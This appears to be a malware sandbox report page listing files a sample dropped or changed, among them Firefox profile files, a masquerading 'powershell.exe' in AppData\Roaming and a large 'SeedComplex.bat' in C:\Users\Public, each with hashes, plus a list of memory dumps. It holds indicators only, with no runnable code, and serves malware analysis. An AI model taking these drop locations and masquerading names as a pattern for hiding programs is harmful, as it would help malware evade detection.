Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\igxd945v.default-release\datareporting\glean\pending_pings\afacf7c9-5f03-4c62-8141-6982de2b0493
Size 235B
SHA256 641341b7b5f332455291a300b9eb1201d9481de2d77467e75301740b4a1c634e
MD5 e18650bd4172ab8041b7de6ffc7b2e22
SHA1 1195fdbd404e91910dba914d39e3bdeb36577d34
SHA512 72a684cb69b97c1301a72802186a84b1693667db812a836cb86a149e1d4577a4c8463911f4033e325c7d4262260d7e11dcfc47c1b61f8995761c87174e115d21
MD5 SHA1 SHA512

Submit Download

deeea4ad-47ed-4d7c-a189-6e053a361ed9

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\igxd945v.default-release\datareporting\glean\pending_pings\deeea4ad-47ed-4d7c-a189-6e053a361ed9
Size 2KB
SHA256 2572d7ea6d61c030d8c891cec6495543308ce9070b3f6a07ef214bd31744ffd4
MD5 cc5ac51301714992aa07f08eee56da81
SHA1 9d39aa01a9bace0a42814ec9c4a3b69d6920b599
SHA512 2866f3f2ae0b75b4e3700d64591d6e6a036295b87a3fb1e95de93afe491592cea5e312c44339a1e9067ac297c8445865410b41a841df06715ac1cf9ffecaf898
MD5 SHA1 SHA512

Submit Download

e7057680-8aab-4b92-a779-704c5e049cd0

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\igxd945v.default-release\datareporting\glean\pending_pings\e7057680-8aab-4b92-a779-704c5e049cd0
Size 3KB
SHA256 36f5559283c662780650635d61050f5d97838d6c80c460b607c42d049d4b9c9a
MD5 fea0e1831b658db19a97d11feb9d81f2
SHA1 ec5f3dbca5f1f57d4512114fcc9513e988e2416e
SHA512 c343f3b195572c811f772563bf1f883d74ca2ee741a61aca0e038d39157472ed783a2534106eb0d18e638cfde73b16189f95949409dd1f5cf85f7efba54642d5
MD5 SHA1 SHA512

Submit Download

fd6f0d23-c312-4791-ad82-5a6370202d28

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\igxd945v.default-release\datareporting\glean\pending_pings\fd6f0d23-c312-4791-ad82-5a6370202d28
Size 3KB
SHA256 5833d519d5117c7ddd93c9cdb3c4b10977657799250a730d7d3bf20c8ae92d2b
MD5 a553fe61af286c436ed2cec4a191d7ae
SHA1 4f0c677ee224f450c8d5871b6d53a7fc7fb70e2f
SHA512 c57ba901813c7e8bc51e746412a666f000836414b2911ec2dba02a055c8372ae748d87b2dffa05d746880f2ff353d7227a10636cae26f67368a32fba1b9ffe1f
MD5 SHA1 SHA512

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\igxd945v.default-release\prefs.js
Size 6KB
SHA256 4e29af46debc19b6c8e03cb1e79edee41767c99b93a0ad83ff8749216df4ba82
MD5 4abbf51f9a1b002ef7c86ed8811ad4d5
SHA1 0fa09047f86b1ac483b2d99c6eaaa91ae2721898
SHA512 ec29ffe3124f7419106093e3384c9d250a2455f0ea7c56694a0116434dadad465f2eeaa581fb68ce7273132d18a2bcd81d9db6a4d690a4b4dd5b4ee5db89a796
SSDEEP 96:xHKUTUMqGqgfpKonj1zS9WSSlhdv9jbnKyHYmy9Bw88H8L4cnjw7:wfRgfpzjAWSSa8Ymy9Bw88N
MD5 SHA1 SHA512 SSDEEP

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\igxd945v.default-release\prefs.js
Size 6KB
SHA256 5fc0bf6934b7829cf085f5af6a6b51a038b93fe19687adfb51726f3c6497fe2b
MD5 c1928eb9e9182e985572861be3e5691b
SHA1 e107d69f1280a0b56ec2db791a9c99dd7814d54c
SHA512 893b6e616dcc7bd69adaee14ed5b9321128c641be72a3a2708f6336efbea153a79750cc80c8804bcb15e8bb31443c6ccda726f260426cfae9929b9e5de5ad587
SSDEEP 96:xHKUTUMqGqgfpKBns1zSISSlhdv9jbnKyHYmy9Bw88H8L4cnjw7:wfRgfpqsRSSa8Ymy9Bw88N
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe

Path C:\Users\Admin\AppData\Roaming\powershell.exe
Size 440KB
SHA256 c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
MD5 0e9ccd796e251916133392539572a374
SHA1 eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204
SHA512 e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d
SSDEEP 6144:OuI3gVwnnSIonp/DWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzJ:ewzIoFW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

SeedComplex.bat

Path C:\Users\Public\SeedComplex.bat
Size 832KB
SHA256 b2ca09af57f79679475f2b0cc833875302bfb22c32307dfc18d928a6eefc965a
MD5 cbbace9330e33dbbe71361769fec4773
SHA1 34ff77fee121acd5c060f1a5aa7407be638dc89e
SHA512 f2b1078cc68ad77d9d7c86c400ae4896aaec6b01d2ad1b7f6517e5ba73ea7b3688dabe383bc931dcfd00556310a0e42d92ffdd3be4edaae42c8d72fba5b285d2
SSDEEP 12288:kwi2x1Ig9+AvX8JE3ek0wHL1kEOPrdDZNXKftyDcBQMlZaiHqY9UkQAC0VX:kRGf8u3081krhtN6FOcKMlZNqY6hq
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/836-210-0x000001D263070000-0x000001D26312E000-memory.dmp

Download

memory/872-32-0x00000202BDFC0000-0x00000202BE182000-memory.dmp

Download

memory/872-13-0x00000202BD9A0000-0x00000202BD9B0000-memory.dmp

Download

memory/872-34-0x00000202BDEF0000-0x00000202BDF40000-memory.dmp

Download

memory/872-35-0x00000202BE6C0000-0x00000202BEBE8000-memory.dmp

Download

memory/872-5-0x00000202BD9A0000-0x00000202BD9B0000-memory.dmp

Download

memory/872-234-0x00000202BD9A0000-0x00000202BD9B0000-memory.dmp

Download

memory/872-36-0x00000202BD9A0000-0x00000202BD9B0000-memory.dmp

Download

memory/872-23-0x00000202BDD40000-0x00000202BDDF2000-memory.dmp

Download

memory/872-18-0x00000202BDC60000-0x00000202BDD1E000-memory.dmp

Download

memory/872-17-0x00000202BDBD0000-0x00000202BDC62000-memory.dmp

Download

memory/872-16-0x00000202BD950000-0x00000202BD958000-memory.dmp

Download

memory/872-15-0x00000202BD9A0000-0x00000202BD9B0000-memory.dmp

Download

memory/872-37-0x00000202BDE30000-0x00000202BDE4E000-memory.dmp

Download

memory/872-33-0x00000202BDE70000-0x00000202BDEE6000-memory.dmp

Download

memory/872-139-0x00000202BD9A0000-0x00000202BD9B0000-memory.dmp

Download

memory/872-6-0x00000202A57C0000-0x00000202A57E2000-memory.dmp

Download

memory/4256-31-0x00000152787A0000-0x00000152787E6000-memory.dmp

Download

memory/4464-152-0x0000020474550000-0x000002047460E000-memory.dmp

Download